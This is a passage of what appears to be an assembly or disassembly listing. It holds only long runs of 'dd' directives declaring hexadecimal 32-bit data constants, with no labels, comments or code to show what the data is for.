3A382251h, 0E1DE4AB4h, 0D6BBDFC0h, 0DBA41DD0h, 0C519A944h dd 0C0D725D4h, 2A7A7293h, 0BDF981E8h, 330C31F8h, 0B25BC86h dd 71F107C1h, 0CE08549Eh, 0C301C50Dh, 384DCA64h, 83B69184h dd 0EDF4409Ch, 19EDDA37h, 986322DBh, 0B3603F52h, 62964D01h dd 8AA535E2h, 0F2E045A0h, 0C74A8B44h, 7F38BEEFh, 0F963DE04h dd 471DA41h, 91AAC392h, 538A6E1Ch, 0B3CE1758h, 4C326D7h dd 0AD613BFh, 21E5E60Dh, 77E90D59h, 64C0418Ah, 6C2AB5AAh dd 6EE18425h, 30F60FA4h, 0CAF82706h, 0AB29A460h, 0A79B3FAh dd 3FA16FFFh, 9544E08Ah, 8398BB58h, 2F252DBAh, 20190D36h dd 2DD84136h, 23C889AAh, 10D23F0Ch, 0B6285179h, 2B68996Ch dd 0F7320491h, 6FF47F28h, 2BF64D8Eh, 36157EA5h, 921A25FDh dd 59C625CFh, 7CFD26Ah, 0C41B9B19h, 83BF775h, 53F224F6h dd 4BC8D2D7h, 9731E994h, 0E99E5F75h, 82BD64FCh, 71ED96A2h dd 0D011FF46h, 10EAA08Bh, 32B4A152h, 119E7E71h, 0EC67635Ah dd 2E29862Bh, 0E9340CF5h, 0D2D9F160h, 0DD2E2C4Dh, 40C2089Bh dd 5E444BAAh, 0E4614935h, 27433256h, 0F4626390h, 10F38674h dd 19626030h, 6D9CA2A1h, 448838E8h, 0FE74A5C0h, 253EF53Dh dd 187EBC3Ah, 0AD8C7A7Ch, 57CDF86Eh, 2C8E3FF2h, 0FF3DF113h dd 0D6A96E00h, 6CF24037h, 1FEA4E8h, 14D5EDAEh, 2ADB4B9Fh dd 0D36E7C2Ah, 6CEFF0C6h, 0CA2AFFh, 304A5FEh, 0DB7AB122h dd 69D8050h, 0B6119766h, 2A33FE18h, 0C86806FEh, 0D943CB13h dd 0E267EE82h, 0C3832170h, 81A45932h, 0B40A6BC7h, 3B2615F9h dd 65AFC3Eh, 679B7533h, 0EA6028A8h, 8109222Bh, 0FA9F2104h dd 49F021E6h, 0E57B5BB3h, 0BBBB7EABh, 45805934h, 8286C828h dd 32F450h, 0FBBB7037h, 521C09BFh, 0C8DCA069h, 0D94889CAh dd 0B4F4F7B1h, 38F69F7Eh, 459AEEB8h, 603FADF1h, 0D9B18946h dd 98DF915Eh, 378C185Dh, 65DC7981h, 0EB18D5E2h, 6299A47h dd 3577B2D8h, 1DD754F2h, 0B9478BB5h, 0D906D951h, 4CC82464h dd 0B63E76B8h, 969A4272h, 0D466D278h, 88197CBCh, 4D985787h dd 0FCB66BABh, 6ECCF2Bh, 66C25ABEh, 0EB42417Ch, 3A2A4B09h dd 7828DF5h, 1DCCBF3Dh, 0B8C2510Bh, 5E5D68A1h, 14F554C6h dd 0C6CEE189h, 0AB6B7283h, 34669C73h, 3AE79A88h, 2901275Ch dd 20F9D294h, 0BF94377Eh, 6E5DA482h, 0ABB270CCh, 5448FDF8h dd 722ACE56h, 92D7D6BDh, 9A94E541h, 0F5C66Fh, 659E5750h dd 0DD5A48D7h, 0CCA68741h, 6059AB15h, 2EFE8E1h, 4A8B0F44h dd 0A2CA76Fh, 0E74457AAh, 1B964795h, 440520D0h, 1024758Ch dd 30D5B7C4h, 0D2DA5000h, 7C10A34Dh, 0BCFE984Ch, 40766FF4h dd 0F45135C7h, 70DD5439h, 97AB083Ch, 1A67FB60h, 0E668B745h dd 0E75BD4A4h, 4A98787Ah, 0FC644745h, 648B47E6h, 0E727262Fh dd 1DC45F2Fh, 30F140A9h, 0E3112265h, 812ABBAh, 9F461EB4h dd 0F8D6DE8Fh, 0D8C2A42Fh, 0B51D115Ah, 92E0D999h, 0F607E869h dd 5EF71A3Ch, 0DEB4BEFBh, 119A57DFh, 0B635BD0Ah, 72FB2C79h dd 0C320F424h, 92A620Eh, 92236DBCh, 854F6D93h, 3945FD60h dd 7BC50CF4h, 0A3AF93B0h, 73279D18h, 25F7864Fh, 0BA446A46h dd 0ABC332F2h, 0A898521Eh, 0D81BE0CAh, 9A0AFB57h, 0BDBCC1DAh dd 0E1C59F48h, 80ADC71Bh, 0E212ABD6h, 0EE12D843h, 25877AB3h dd 6DC1F67Ch, 0A7F66CECh, 5BE75584h, 39687976h, 63D16643h dd 8944E32Bh, 6CF7FB5Ah, 6B8FE5A6h, 0B3F77927h, 0D2BA3262h dd 0EA50BE79h, 93822069h, 48CAFB4Ch, 3F9729F0h, 2B10F208h dd 95EE94D4h, 434D9F1Ah, 0FDAD32FCh, 5EB6423Fh, 0F580323Ch dd 0FE314747h, 46270C38h, 9814EA70h, 297875C0h, 9878D96Eh dd 0FB7001F1h, 8F80D2A4h, 0C222ACD7h, 0C36137BCh, 0BB93834Ah dd 0BD2F77Bh, 569D3E5Ch, 0C9C0D8DDh, 0A17D3DC8h, 44FCEDEh dd 41AF7E2Fh, 3A5569E9h, 0D2F2BBB2h, 0CD48CE7Bh, 0F745C47Ah dd 383C06ECh, 27D28E6h, 3537A961h, 0FB99DB82h, 2D8C14DAh dd 0C8E55B0Ch, 7FED0BE9h, 0F1CE9F9Eh, 8633768Eh, 0C41EDED9h dd 0D16A970Eh, 39E58E64h, 165BA5A9h, 5E0E5376h, 0F013D72Eh dd 0B1599E1Bh, 93D39C03h, 0CB552800h, 5A0E8788h, 1B0F3D88h dd 0BD9AC612h, 0E86FEB44h, 0E789B17Dh, 0B8E7841Bh, 1FED8A2h dd 7E52786Dh, 1002E68Bh, 77B0A8B3h, 0D476D372h, 379BDCCDh dd 84D91C5h, 1926A60Dh, 1B1DCBAEh, 45E154F8h, 0F6EE842Eh dd 0F7FC9194h, 5FBFAA75h, 7914490h, 3A16A635h, 0E382084Dh dd 0D436921Ah, 5C04B89Fh dd 7FB9E05h, 4B173F7Eh, 10A4DADAh, 82FB825Bh, 0E5C88043h dd 0CE33203h, 0B4775193h, 6EF82382h, 87438C76h, 727A8D16h dd 2CCA9698h, 8F02E06Dh, 0BF7EFD76h, 0E1E570D0h, 0EBB42226h dd 48540CB1h, 0C97239A1h, 0BCD49C67h, 95C703C0h, 8028F7C4h dd 9CEE748Dh, 75CEED38h, 0C774DCEAh, 4FB42F0Ch, 3BF60DDh dd 1F1E4D3Eh, 814CCB69h, 88D1950Ch, 13098B28h, 5D5FEA7h dd 5C2EF526h, 0EAA823EBh, 3DB8A923h, 27AA0290h, 7A8D3AFCh dd 7C468D9Dh, 31E4D550h, 466B9267h, 25D76E37h, 4CEFD1C2h dd 269F97B1h, 42C42387h, 0FBD7961Eh, 574D0192h, 3A50A655h dd 0B47EEFC8h, 723FFB2Dh, 4C229688h, 0AAC8532h, 0FF46FD02h dd 0DB692357h, 2CDA008Ch, 246AAE81h, 22C912E3h, 66BBEAD9h dd 82D2F401h, 0DE65EA62h, 723BED5Fh, 5217053h, 0BBF757FAh dd 68F2ABFEh, 78AEBFDFh, 0D496D392h, 0B3DA4549h, 0FEDE59D7h dd 638E033h, 0DBB40CD0h, 0A8F2727Dh, 0BBEC1D38h, 80B91A72h dd 21A46BB5h, 892A17EBh, 0DC88D12Ah, 99069E5Dh, 0A789521Bh dd 0FCD3300Fh, 0F6AF1375h, 0FB655DC5h, 1D89EDEEh, 0DBF7D205h dd 0C8D6B07Dh, 0B6D7E881h, 326B532Fh, 560C8648h, 0C96271B6h dd 5BAFF9C9h, 551532DCh, 0FC63AD7Dh, 465E1F8h, 0F94807ACh dd 8E9B06C5h, 90EA02ECh, 89A05FECh, 8DA378CBh, 0DD86A6A3h dd 0C8763B30h, 313CFF60h, 0D7124960h, 5A71555h, 0A4954851h dd 6A4414D7h, 0EE6E9E40h, 968D934h, 0BF799D79h, 25953D2h dd 0FFBB628Dh, 4AFB026h, 38BE61F0h, 0F2CAADBFh, 460C0010h dd 80E219E4h, 0C687AE4Dh, 53B95D00h, 87A50F03h, 5603D3C2h dd 0CF0E4FF1h, 9A30460Fh, 0E100FA25h, 0C65181F0h, 0A074C83Fh dd 0D6A093A5h, 0BEE01817h, 0CFC4CC0Bh, 502FACF9h, 71EE0457h dd 0FAB647E1h, 4A8ABBBEh, 5FF70CD6h, 0C37BFED3h, 20FCE82h dd 52D420D9h, 0FF1E03DEh, 8B8C5A39h, 2C0749FFh, 836981DAh dd 8D40C2ACh, 885AD9ECh, 203D27Dh, 4B0AC3CAh, 97216D63h dd 4FBA3D06h, 0E1BF7413h, 35FE43BBh, 0FF1EC879h, 18717195h dd 0C74B0AEEh, 0A5F215B9h, 69D918DFh, 0FEA3049Bh, 659D6263h dd 0ACC927EBh, 69C7641Bh, 0DA4461CCh, 0FC104E47h, 0FF7A2AE7h dd 0D703DC1Dh, 9207A809h, 0FA8F77EEh, 0DD2A0F93h, 5963092Eh dd 0C4D38892h, 595D165Bh, 0E678E082h, 0F8857E16h, 6537C4FEh dd 0D32550A8h, 8EF77629h, 0C1552B39h, 1699395Eh, 3173ABEEh dd 6C98EE0h, 0A31E4697h, 8E0F46Bh, 6B15F823h, 2BBED4A2h dd 0D2B513C5h, 2F658375h, 0C7E9B0F2h, 0D397A962h, 6F2845CDh dd 93521891h, 0AA099D42h, 0CA8619ECh, 0DC9C4588h, 4C34EFBEh dd 0F474E322h, 6A6833FBh, 0E24ADB09h, 0BE7B8A27h, 8313013Eh dd 166500EBh, 0E1585AABh, 89B0B230h, 58F34A8Ch, 2E3C022Bh dd 4B2D3F02h, 0F99A1DBBh, 728B7EEEh, 93C343B8h, 0FE413D2Eh dd 42C07DA8h, 51D11FC7h, 2AA04191h, 0C9A588E6h, 4F84A505h dd 0DA73BACAh, 17B035CDh, 5F7162F1h, 77559077h, 2227E545h dd 9BE4723Bh, 2D826D52h, 1AEE93FDh, 842E1B32h, 0E160AD8Fh dd 0F1915162h, 0CB50688Bh, 70A17181h, 0EBBC8DC5h, 0C9ED3682h dd 69FDEE7Eh, 0EC015CB3h, 0C47AC382h, 0B5C13178h, 33BD659Bh dd 9FCB9F8h, 9A49D26Fh, 0BCB967DBh, 0B864EA06h, 0D3AF0123h dd 0F6179902h, 148AA821h, 0BE63622h, 9F1108C7h, 0FF8E49D4h dd 9EA5CD7h, 9AABC06Dh, 9CC23F68h, 5B63A2F1h, 27B6AF0Ah dd 9F6DDC96h, 4F9C490Ah, 0C85BF0A4h, 3BABA83Fh, 999C55C1h dd 0D74CD558h, 2CC7AB50h, 0A4711085h, 0A9E16C4Dh, 21FBE272h dd 0C846F78Ah, 0BB7AED2Fh, 0B29CB97Eh, 0A1BAAE87h, 992A614Eh dd 86978DB0h, 193F7556h, 1C5E9FF6h, 26202954h, 89C28FB2h dd 0E39F468Ch, 8C9E3ABh, 29F502F9h, 0B039FD78h, 86532E3h dd 5C8197DEh, 49FC9B99h, 69172EEh, 3D3368E8h, 0C354E9A3h dd 0EE95264Bh, 0BBE74F16h, 2DB6F2A3h, 2634791Ah, 208B1E7Ch dd 377781Ah, 49BE2730h, 0CB38BD98h, 0ECBBF250h, 0F5164B0Ch dd 17DF53BEh, 5C8F2044h, 0A1234084h, 6387140Ch, 913914C4h dd 0BD87B550h, 2E010DE7h, 0AA0FCC41h, 96DE7E13h, 0FD470BEBh dd 0B223E511h, 2439FF89h, 6919D5A0h, 0CE383EC7h, 47A1B263h dd 0A4B16995h, 0CBFA72EBh, 0F409A6C1h, 0E8C13775h, 0B708ED4Dh dd 3F900DABh, 3F1DBAE2h, 0BCCA5703h, 729761A9h, 0B62C13D7h dd 9F20F903h, 5B95C0D1h, 0CF8AE35Ah, 71BD44Ch, 8E02B154h dd 81530A2Fh, 3B43C0B8h, 730FBDAFh, 6DCF0D75h, 0F7FE66FCh dd 12C98689h, 0E250909h, 98AF2AADh, 7D069DE7h, 0F79F1427h dd 9B4F865Ah, 3DADC1Ch, 6F7E1A3Dh, 3E206265h, 0A14CD48Bh dd 0F1092ADBh, 0D83BE525h, 0BEDEF318h, 0DD0ABB16h, 0E857FC57h dd 0ADDE8FFCh, 0B64B4935h, 69D6EC1Dh, 99326308h, 0ABE4CE60h dd 0E2C4C283h, 5D4336D7h, 4182711Bh, 5BF4AB0Eh, 3B75F8D9h dd 0CD1A8B7Ah, 82A9E426h, 0AC0381F6h, 0A08495E1h, 379AE007h dd 298E6865h, 3C817582h, 0C51583E0h, 818EAF28h, 83CA44ACh dd 0C24BA175h, 1845845Dh, 0E3AC46D7h, 7E258917h, 6F43EA45h dd 0C88CA071h, 6858AD64h, 7E551DACh, 8A3B80E9h, 0A77A1CD5h dd 84D46979h, 0FEBE8D27h, 9BFC5CA5h, 0DFD438FCh, 0DF11D136h dd 910C8DD0h, 3B24EED9h, 39D5CF15h, 751CCCF4h, 83E44BC0h dd 0A015CC29h, 9738A769h, 17FA24B0h, 1135D976h, 97CC621Bh dd 59B4A983h, 0B9BFD793h, 7C929354h, 6728C140h, 0C5FEEB38h dd 42656B0Dh, 222EB6FDh, 149786DDh, 1BE67D51h, 6B10CB7Ah dd 0F05D46A2h, 0C7DBE0B3h, 78C980DBh, 0B82520A8h, 9F165F5Fh dd 5025F471h, 0B6CE5207h, 713C0B3Bh, 0CD77EE94h, 0EB32FF69h dd 68F1AECFh, 8D0D22A1h, 0C7FF9FA0h, 0F0CC61EAh, 8394ED2Dh dd 0C85086DCh, 6ED9915Dh, 5CC82566h, 7310F61h, 8FBD7523h dd 6B16218Ah, 15E6CCC6h, 0EB2518E6h, 0AC371B32h, 79129A52h dd 19A1A742h, 0E281058Ah, 0A496D036h, 0B8CC300Fh, 6C639791h dd 0EAE4B8C8h, 9BDAE85Fh, 0EF70118Ch, 99F41DBBh, 0EE21BD42h dd 60FD2525h, 47C0F134h, 0F16FD6B5h, 0D5A5A617h, 0C6EA815Eh dd 0E16CB2D8h, 731CE95Dh, 0C61BD641h, 83015CC6h, 3A4B9586h dd 8189039Eh, 0E378EBB0h, 9E17FC69h, 0A82FA79Fh, 49A10873h dd 47D0C2A6h, 8AC11BD8h, 1C29F92h, 3058051h, 3E8199D0h dd 0FA6005A5h, 2CCFD376h, 0F62A72EBh, 95523B33h, 0F9D889FEh dd 13337FC3h, 3715CA80h, 7D98F586h, 0BE60AC6Fh, 1B173347h dd 0E592A7D2h, 5C834472h, 8DC5123h, 5C033270h, 56B4220h dd 0AD545AB7h, 6EBD4B47h, 0B46C3EDEh, 4698AEB2h, 628976DFh dd 0E73A49B8h, 3D0D5D06h, 0DFC4A60Eh, 2D8EE698h, 3A91F4FEh dd 0A5DDD7E1h, 0B3799F33h, 4990407Eh, 7AB7814Fh, 0E4DCE74h dd 1BC5C442h, 2AF9518Dh, 0C4313EF4h, 0BE9635F3h, 0D775A9C4h dd 2985A11Fh, 0EE739CEh, 902675Bh, 0D60F2F78h, 0EAC83F0Fh dd 3973FE8Ch, 1744C2A0h, 0C4F27072h, 0A6C77F8Eh, 297CA290h dd 0B82F1D67h, 8015552Ch, 0AA8ED94Dh, 0E4580D4Bh, 2263DBD1h dd 0E6145974h, 221265D0h, 92802DA2h, 9ECEE2A1h, 0EA64AACBh dd 8456AB6Ah, 0CC9AC2A1h, 8B1CC269h, 49BD7D1Ch, 0EAD1DD9Fh dd 8C4588FEh, 0F1646DF0h, 0B066B435h, 947096ACh, 0BA558017h dd 0F951677Fh, 0E3A1DE92h, 0B2B617Dh, 2FDDB768h, 3FC694B9h dd 8FC90A59h, 35AF3461h dd 37B47FE4h, 250B5EA1h, 45644E71h, 6B822040h, 3A869F7Dh dd 95D0FE00h, 0A48CA4AAh, 1B4ED732h, 43E1C015h, 370233B5h dd 0F8360AFFh, 4795430h, 0EE40DB46h, 0C5012CD5h, 0B424CA1Bh dd 9B933E9Eh, 0A0191436h, 27B8E24h, 0B4888DCDh, 7D583A8h dd 2FC5F332h, 94174604h, 0E04E4893h, 0DF8C7EC5h, 0B429E6A9h dd 3054BD54h, 0D5DB8BB4h, 9B40BA7Ah, 8B313A8Eh, 7236DCB7h dd 54BCCA14h, 0EB34759h, 8D43517Dh, 9C5BA4D4h, 711C4EFCh dd 0EDEAD9FCh, 0C6310D90h, 0D5CA8CECh, 6367626Bh, 54E8A95Eh dd 912F651Ah, 9A9187E4h, 56F43FEBh, 3B952807h, 1B133E5Ah dd 229994B6h, 0D0D5C62Eh, 457F7EA8h, 0FDECAC65h, 3F7E2288h dd 9D97C672h, 45B5267Fh, 6927273Ch, 3B859078h, 0EBF9A1E9h dd 0D98EBFA4h, 0C59362C6h, 7D3F6B2h, 0D1AA27A8h, 98592CEAh dd 0D49B816Dh, 43300D78h, 0D3805F2Dh, 0C7487E22h, 6663A20Dh dd 0E3D9E6E6h, 4AA7014Fh, 523E102h, 0B3622C8h, 1B72E4D1h dd 533CF01h, 0FECC67E4h, 0E30371C9h, 0C60FB911h, 0C305CAAFh dd 6A59D4F6h, 7C9CC97Dh, 80ED3746h, 0E46078B4h, 0E0708DC9h dd 87091CFAh, 687D9B00h, 0A8DF305Fh, 0B5BBEE67h, 9D61C3A0h dd 0A3936677h, 0EA82D2E6h, 0A0E3CC4Bh, 0BAEDC3A5h, 0CD24260Dh dd 0B7A38231h, 95B51822h, 51B6C98h, 8110F9CAh, 667C300Ch dd 324A9739h, 1B251013h, 234F7EA6h, 0CED65C3Ah, 80A5BF4Ah dd 0E9D547E5h, 69DF06Ah, 0D23245E9h, 0EECF230Ch, 0EA543F2Eh dd 139ADC01h, 6354DF5h, 9440835Eh, 8B545841h, 0FD7EC1DAh dd 0AED112DFh, 0C9132EA3h, 543EE493h, 1BED2A94h, 5997B939h dd 0DB92E7DAh, 0F721E6CAh, 7F229D1Fh, 0BDBA73E2h, 148D8E61h dd 42EE731Bh, 0DA8C3048h, 0AE5347F8h, 25EFD41Ch, 9C0EFAE3h dd 5AC293D3h, 3DF20ACh, 0F5B816A7h, 0A949DDFDh, 0D1662DAEh dd 7BCE585Ch, 452CD781h, 0C154E5Bh, 3CBE736Dh, 0D2AB970h dd 3E174166h, 6CCADFA8h, 73FFA066h, 449B1390h, 0BAEE9AEBh dd 0B4BD70F8h, 7D0BF97Ch, 284D87CAh, 6E3A85ACh, 4210E9C7h dd 0D012EC98h, 52DB5FC7h, 0F0FDB879h, 0F95FAA06h, 0DA218009h dd 9A0CB856h, 10C4D4A9h, 0A0B55BD9h, 0EBE182DBh, 0F4FBB564h dd 1217993Ch, 8994AA77h, 0ED46F700h, 0FB62262Fh, 0F855A07Ah dd 2A122091h, 4177CC97h, 7A1B7647h, 6C7EDF0h, 8FAD7AD3h dd 0E71C8B4Eh, 0CF305C82h, 0DBD53BCEh, 0BA74F414h, 0E58D4687h dd 0FCC84045h, 0D3CDD13Eh, 4A8C957Dh, 3263A08Dh, 0F2A476FFh dd 146123ECh, 8E43D2E5h, 3E280D6Fh, 79B47A34h, 204269DAh dd 2B25EDB9h, 0D2A49551h, 0B92DB530h, 82BCB0F1h, 9E060EDAh dd 49C85238h, 6F754298h, 0D5890806h, 0D23BAE77h, 0BC4B51F9h dd 0ADF0E945h, 0DD0F56ACh, 0B1A6C06h, 0A25D2E51h, 887DFCDEh dd 92C09528h, 0C779EA77h, 87DDE41h, 8E717B9Ah, 0FCE08562h dd 5F5FCE24h, 240D9E25h, 0FA646FFFh, 12A02E6Eh, 0C19DB273h dd 31F97A5h, 8B4DB1F7h, 37E01545h, 0C2EE73C8h, 34FFECBDh dd 85D4A363h, 5688102Dh, 8A6261B0h, 84F6933Ah, 4F25CC1Dh dd 975E8E56h, 0A16469F5h, 0A7C2211Eh, 0A7A4B9D1h, 41641015h dd 68557030h, 32AC47Fh, 0F0811D3Ch, 522285CBh, 4A6CFBB7h dd 311A5F76h, 1304CDD8h, 0EEE7A6DAh, 2367BF22h, 284ABB80h dd 5DED0BC1h, 5A39FC78h, 3BD36BFDh, 52E558A6h, 0D43409D6h dd 249D3A67h, 77E20756h, 1FE0CFEh, 1542802Fh, 62A18B38h dd 99A868B7h, 26F57126h, 0FE91F77Eh, 0EBDC9899h, 8661EADBh dd 91B82A3Ch, 757E3FCFh, 0A52B72DAh, 0AED992BFh, 7AC44526h dd 27D562A3h, 30E53EE3h, 7ECC64F1h, 0D778AFF6h, 3C0997C4h dd 7D735406h, 0EB1451CDh, 67BE9373h, 6B044768h, 36070F85h dd 7AD471BAh, 28D15975h, 30620E22h, 0EA7AF002h, 1E612887h dd 28E5AF5Dh, 13FF1905h, 0FA875553h, 6E21BCB3h, 3840F982h dd 99882C41h, 5F801F98h, 3381711Ah, 52E675CCh, 3A37A4B9h dd 0C776EF49h, 8E4FED6Ch, 0FCB3195h, 27754A63h, 826F833Dh dd 906C1BF9h, 0A1995903h, 691ED757h, 7D688610h, 9E67F99Ah dd 4A633E0Eh, 0B355941Bh, 7D835922h, 9819691Ah, 0A53050DBh dd 60CB731Fh, 0B55C0AB4h, 4D6353F8h, 7227F36Eh, 79D5780Ch dd 1E78F9DFh, 411EDF27h, 0B96285FCh, 856B1FCDh, 0D25F282Dh dd 0E4826E2Dh, 876E7C79h, 0BFB03DCCh, 1AA57DB9h, 66612F70h dd 9FD07DD4h, 1A57469Eh, 0BFECBB4Dh, 0F25775B8h, 2BDC892Ch dd 0F1527F3Ch, 0D131095h, 13ADF85h, 0C1CC58CCh, 362F978Fh dd 0DB866353h, 0C958426Bh, 37801168h, 67F09D76h, 79029720h dd 0A3D7CE20h, 6B22A27Fh, 0CEF582E3h, 1C673A18h, 1122AFB5h dd 2D64AEC7h, 0B223A778h, 0EE5E3FA1h, 0A77F3459h, 8233E247h dd 329980F3h, 17CEC752h, 6895CD96h, 0EF58252Eh, 9F42CC2Dh dd 7E3C8D89h, 27A0D0E7h, 0C9C6E0ADh, 0FBA3FBB4h, 2639CD66h dd 0C58C21F8h, 857C5972h, 5C866FBCh, 6A3BE435h, 14297EC1h dd 0CF359A7Bh, 0B1484CCCh, 5D85E631h, 11E6FF8Ch, 0B6E4CA74h dd 5B33E3CBh, 0D9742973h, 0F7BE1AE4h, 69DC2010h, 23D607E3h dd 503C4502h, 0B082D93Dh, 0CBA4818Dh, 0AF837F68h, 49848A89h dd 34C2FEADh, 8E52829Dh, 92BE7CC5h, 0A4D94A23h, 0BBEC7023h dd 0E6AFA85Ah, 0DE298A33h, 35866B42h, 0E6943514h, 0A679FBA3h dd 899EDF9Eh, 0F133B471h, 306DFD30h, 6DBC60C1h, 6C8EE83Dh dd 98424687h, 8F945E35h, 0B801096Eh, 233E4EF2h, 0EB48C576h dd 7EA74FE2h, 6F1C285h, 4B5FBFF4h, 89138A86h, 0EB2BC955h dd 0CDA86DD5h, 0C079EF08h, 89BAB66Bh, 0C9B23FA8h, 4C08F4EDh dd 97988D4Dh, 452FAADEh, 0D726D41Fh, 764F25C6h, 36F694E5h dd 572BF8EEh, 0E4253FC0h, 7FF571BAh, 62378D7Eh, 0CB76B8BBh dd 60B55FB3h, 0AD46DA2Bh, 8D5ED9D4h, 0BD0F3F2Ch, 3F35A108h dd 0C3A4C156h, 77C39178h, 3B64711Ah, 6F0B565Fh, 850FE3C8h dd 1C19D572h, 19F60A63h, 77E6DE17h, 548DE233h, 5E806DB3h dd 6FF96E03h, 9E9EA692h, 0E5A2152Eh, 968D4898h, 7A4F94C4h dd 0B085FC91h, 0AEC7BEEEh, 0AAE4D191h, 15837396h, 77BFF5A0h dd 9F1FF9E2h, 0B72D14DAh, 0EE86C0B2h, 9BDBE72Eh, 92B36182h dd 0A6B75FA9h, 0D3E0C2ABh, 68EFC512h, 33C06D98h, 0E996004h dd 2136C3D2h, 925372D8h, 0B44561DEh, 0E669830Ah, 0B2D3915Eh dd 61012E77h, 9527D2CCh, 0D25BFD08h, 253E472Dh, 508549F2h dd 56E0A911h, 0D9B901E0h, 0B1E0995Ch, 0A5F55802h, 3D7EAFE0h dd 0FE75F6F3h, 0EEA32ACFh, 59838EA8h, 4923FE54h, 8BD11C60h dd 0E43009D2h, 0E05AEB2Eh, 5F0CB61Bh, 0F0829A97h, 483A877Ch dd 0E2B48D21h, 2004F12Ch, 0EB6E34AAh, 0D5B17B78h, 7A8215Eh dd 27DD1EE9h, 0BE60219Eh, 0AA1B2071h, 0E6606109h, 72B9AD2Dh dd 312350C2h, 0C331BBA3h, 2D3EB38h, 0BE79E2C7h, 0D2BC75DCh dd 0C1DD8B63h, 70C3B56Ah, 73CAC6F4h, 758972h, 0AB89A3B3h dd 30AF234Ch, 51F45E24h, 7DE24DAFh, 0A8A7944Dh, 9E1BEF29h dd 53549A7Eh, 0D69850E3h, 0D2FFCAF4h, 7512EF7Eh, 0BEE16263h dd 1E130871h, 0A47E130Eh, 0E4F839Bh, 4DE831C2h, 3DEA336h dd 0DD4FF128h, 7EAEFB84h, 2B77F71Eh, 0A5A4BED5h, 1DF38E0h dd 73B13E0Eh, 45D13FDh, 3AED062Bh, 0F91FB001h, 12831847h dd 4F1BB015h, 6A0E4F0Eh, 4C3E5CEAh, 274D3976h, 0A83CC461h dd 0E71A9CC9h, 7B855DF6h dd 0CF0A70F2h, 0F93E8DA6h, 0B0A9E459h, 6CC3BCD9h, 0B7DC6923h dd 0FC99761Dh, 5C5D8E33h, 831E8C97h, 0C142F64h, 0B5020EE8h dd 571B2459h, 7504E88Ch, 151FAA2Ch, 0D1CA3358h, 42296D22h dd 800E79F0h, 0AB885623h, 0B667376Ch, 0E9B3CAE2h, 5C319F40h dd 0C2436C93h, 93B077D2h, 0D54A33C3h, 0FC1D047Bh, 5E0B9471h dd 0A0595CD6h, 74FEB2FCh, 6A6BC0D5h, 0B4E1E583h, 529BA3FAh dd 8C5FBFA3h, 0A52C383Eh, 8F110FCBh, 9A12DAD2h, 132AF4D9h dd 5EA98C02h, 60728F4h, 5616DB5Bh, 0CB8966B5h, 0D05226Bh dd 0DF57F0C5h, 0A43DFA6Bh, 66DC23DAh, 551C1BB6h, 160B111Eh dd 0C87DB680h, 0B2BBEF06h, 5FA8714Bh, 545229D6h, 0F30F2D7Dh dd 9940D47Eh, 0A6462FC6h, 91C60CD9h, 942D0143h, 2611E7DEh dd 9253EE9Eh, 5416229Eh, 0F03C60B5h, 7D59EF00h, 7025A2BEh dd 1ED71F2Ah, 9A3BB63Fh, 0C75CCB67h, 0B52CCF9Fh, 9A05807Ch dd 76B00DA7h, 0C0F27491h, 1C193E6Fh, 0AC20DC0h, 2272B597h dd 0A56D2E3Eh, 6E8E860h, 61B380D5h, 0C345EEA8h, 0CC45DEF1h dd 80C700F2h, 72DCF5BFh, 0C5101C81h, 1A710B00h, 38607A3Bh dd 0BD493965h, 7151895Eh, 3BF915FAh, 36350F5h, 3CC3F270h dd 5813C24Dh, 24BDD4EDh, 0E88D791Fh, 981B4A67h, 7F61EC1h dd 61CAFB5Ch, 4DE0B15Bh, 0CE89931Ch, 4385A4B2h, 63B948Dh dd 68D15409h, 0B58832D7h, 122F9360h, 0F6BBA4B5h, 51C1B00Dh dd 0DF0738E1h, 0C58C2412h, 69F06E62h, 8AC22EA3h, 0B6973183h dd 1263FEB2h, 8B0784E5h, 0A434594Bh, 6ABE0C3Ah, 0A2216383h dd 9CB8C7ECh, 403DC430h, 0C96BC865h, 0DEC8253Eh, 0FA3C35DCh dd 553ED83Ah, 0DC645C1Dh, 4904BF4Ah, 0AEA070C6h, 8C1B8D69h dd 5258FE6Dh, 14C3CD50h, 0AAC3F2D7h, 0D0B50250h, 56FB3F0Bh dd 3ADC16CEh, 0CA32B45h, 98A947FDh, 0C34CC08Eh, 0C3ED43F2h dd 30537AAh, 4D859BCFh, 671A2FB3h, 498E60BAh, 415A01ECh dd 85B5B54Ah, 68BA05C7h, 0F3F4D605h, 1D25856Fh, 2DEA92ECh dd 0BB380B4Ch, 0B8C35266h, 7DC5AAF2h, 323759AAh, 69064F63h dd 0BFBADE54h, 0EEF68F93h, 0A3A027A7h, 0CACF5611h, 59FFC2CAh dd 161754C4h, 53243E7Dh, 7EB72EE3h, 2E865F56h, 0D30EBDCDh dd 0FCA6D444h, 6993E39Dh, 0E4E10B26h, 609EDA28h, 0D199C312h dd 5E280D30h, 0ABA9B94Ch, 7F97AAFh, 0B50EA8E0h, 671494A3h dd 0F1CA4A4Dh, 0E29B132Fh, 95B9EECBh, 8E13C99Eh, 7C0420F1h dd 0C6BE73CEh, 0E21EE46Ch, 405FC774h, 67D84539h, 0DFF090B6h dd 0E7CB056Fh, 7DE4A123h, 0ADA8D2A0h, 219E1E64h, 0BC85A53Ch dd 9F9F84B4h, 17835300h, 0BE4A7FB4h, 5A83E036h, 0CBEA932Eh dd 1505A212h, 978320F9h, 1D8C4745h, 2CFC5210h, 0D78F5098h dd 22A6BB07h, 139BCC8h, 43FEF56Ah, 4FCA07D6h, 9791CB31h dd 1D598F36h, 0E473FB3Ah, 0A3D2669h, 0A38FB9A1h, 0A5A7901Dh dd 0EB74CC22h, 0DFA36B23h, 0A7820014h, 0CD6B28E9h, 126D5EA9h dd 0BEA58BF2h, 0FFB853B6h, 0C1955077h, 3D046519h, 0F764A766h dd 189A9313h, 16E792F3h, 4B35B915h, 98753FF6h, 0F5456A07h dd 7BB9BE9Fh, 2A1AA4A9h, 1DD57E06h, 99183BCh, 0E75DA5A9h dd 0FC23E546h, 6E03E2FEh, 0F7E89C95h, 44A2D79h, 0E6A0B21h dd 3218D198h, 0C4F2F0Eh, 0BF7FA118h, 884D3FD0h, 827BC52Ah dd 0BA977035h, 0EC8D9772h, 57C35803h, 35081AA9h, 245D28E4h dd 0C1382ACEh, 859E5F48h, 0AB94B97Ch, 0BBF509F6h, 8808F7ABh dd 1C6FB02Dh, 0CB6805C1h, 239670DDh, 0D2CB0AD0h, 0A5A9451Bh dd 29D9A34Ch, 0E9BA7FB4h, 37C56458h, 0E41FFE02h, 1CC2982Eh dd 5614FDC5h, 867FA2BBh, 5BB835Dh, 